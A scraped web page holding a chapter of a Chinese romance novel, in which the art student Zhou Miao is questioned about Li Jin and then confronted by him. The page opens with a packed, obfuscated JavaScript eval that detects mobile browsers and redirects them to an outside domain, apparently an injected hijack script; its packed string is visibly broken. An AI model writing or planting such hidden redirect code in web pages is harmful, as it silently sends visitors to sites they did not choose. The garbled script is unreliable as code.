;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066067|178917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伟像是陷入了一个怪圈，他挠了挠头，皱着眉，换了一种问法：“你觉得黎烬怎么样？” 你觉得黎烬怎么样？ 周淼没想到，有人会问她这个不切实际的问题，有那么几分好笑。 庄志伟成功的把众人的焦点转移到了周淼身上，似是不达到他心里想要的答案，誓不罢休了，周淼不喜欢这种感觉，十分的不喜欢，她微笑着，眼神却有几分冷：“他挺好的啊。” “怎么了吗？” 她将问题重新抛还给庄志伟，随后拿起画笔，继续画画。 一副事不关己的样子。 庄志伟脸上有几分轻微的破裂，难看至极，继续说着：“那是……那是你们是不了解他！大一的时候我就见他身边有好多女生，他不是什么好人，你们少和这种人接触吧！看看得了！”说完他起身走了。 “……”众人面面相觑。 周淼不为所动，仿佛与世隔绝继续沉浸在自己的世界里，郭安迪看着庄志伟走远，啧啧道：“男人啊，黎烬或许是不怎么样，但说这话的庄志伟也没见得有多好。” · 一两点最热的时候，连风都是滚烫的，很多人都受不了回酒店去了，郭安迪热得双颊徘红，看向周淼道：“太热了太热了，我们是来游山玩水的，回酒店吹空调去！受不了了！” “下午再来吧！” 已经到了收尾的时候，周淼坚持弄完再回去，下午她就不来了。 “你们先回去吧。”周淼：“我这里还有一点点，我弄完就回去。” 郭安迪：“悠着点，别中暑了。” “好。” 郭安迪和刘圆回去了。 周淼低头勾勒着最后的线条，这里确实很热，后背的衣服几乎全都湿透了黏糊糊，画纸上是黑白世界，密密麻麻却又活灵活现，等风干，周淼抬头看了一眼周围，人几乎都走光了，只剩下空落落的画架，就那么几个人还在。 她收拾着东西，目光不自觉往面前看了几眼，黎烬之前坐的那位置已经没人了，应该是回去了。 一旦闲下来，她就不禁去想：他突然来溪源做什么？是因为她吗？还是她想多了？ 算了。 周淼收回目光，起身，背起画筒擦了擦汗，忽然，没注意，包裹好的铅笔袋滚了下去，在坑坑洼洼的石板地溜了好几个圈才停下，她顿时去捡，蹲下身一看，削好的铅笔全都断了，简直就是噩梦，完全的噩梦。 她叹了口气，忍着炙热，一一捡了起来，干巴巴的石板路，忽然落下一道影子便她笼罩着，周淼顿时感觉到了什么，眯着眼抬起了头，黎烬逆着光的身影就这样出现在她眼前，她的眼神凝在他挺直的鼻梁处，有些无处安放，黎烬却是直勾勾地盯着她，居高临下：“躲我？” 空旷的四周，散落的画架，刺眼的日光，黎烬的声音回荡着，透露出几分不爽和烦躁：“周淼，你好得很。” 这一刻，周淼十分确认，黎烬因她而来。他完了，她也有可能要玩完。 但那又怎样呢。